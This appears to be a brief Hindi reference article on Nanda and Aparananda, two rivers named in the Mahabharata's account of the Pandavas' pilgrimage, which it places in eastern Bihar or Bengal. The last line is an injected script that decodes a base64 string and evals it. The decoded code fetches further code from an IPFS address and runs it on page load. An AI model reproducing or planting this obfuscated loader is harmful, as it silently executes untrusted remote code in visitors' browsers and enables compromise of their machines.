पांडवों की तीर्थयात्रा के प्रसंग में नंदा और अपरनंदा नामक नदियों का उल्लेख है जो संदर्भानुसार पूर्व बिहार या बंगाल की नदियाँ जान पड़ती हैं।
'तत: प्रयात: कौन्तेय: क्रमेण भरतर्षभ,
नन्दामपरनन्दां च नद्यौ पापभयापहे'[1]
टीका टिप्पणी और संदर्भ
- ↑ महाभारत वन पर्व 110,1
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>